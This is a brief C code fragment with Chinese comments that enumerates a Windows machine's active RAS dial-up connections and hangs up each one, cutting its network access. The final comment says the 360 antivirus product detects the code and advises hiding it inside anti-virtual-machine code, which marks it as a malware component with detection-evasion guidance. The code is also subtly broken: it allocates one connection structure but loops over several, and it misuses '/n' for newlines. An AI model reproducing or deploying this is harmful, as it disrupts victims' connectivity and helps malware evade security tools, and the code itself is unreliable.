DWORD nRet; RASCONN * lpRasConn; DWORD lpcb; DWORD lpcConnections; lpRasConn = (LPRASCONN) GlobalAlloc(GPTR, sizeof(RASCONN)); lpRasConn->dwSize = sizeof(RASCONN); lpcb = sizeof(RASCONN); //枚举网络 nRet = RasEnumConnections(lpRasConn, &lpcb, &lpcConnections); if (nRet != 0) { printf("RasEnumConnections failed: Error = %d", nRet); } else { printf("The following RAS connections are currently active/n/n"); //遍历 for (DWORD i = 0; i < lpcConnections; i++) { //断开 RasHangUp(lpRasConn->hrasconn); printf("Entry name: %s/n", lpRasConn->szEntryName); lpRasConn++; } } //Free()... 360下会查杀本代码,需要将该代码放在反虚拟机代码中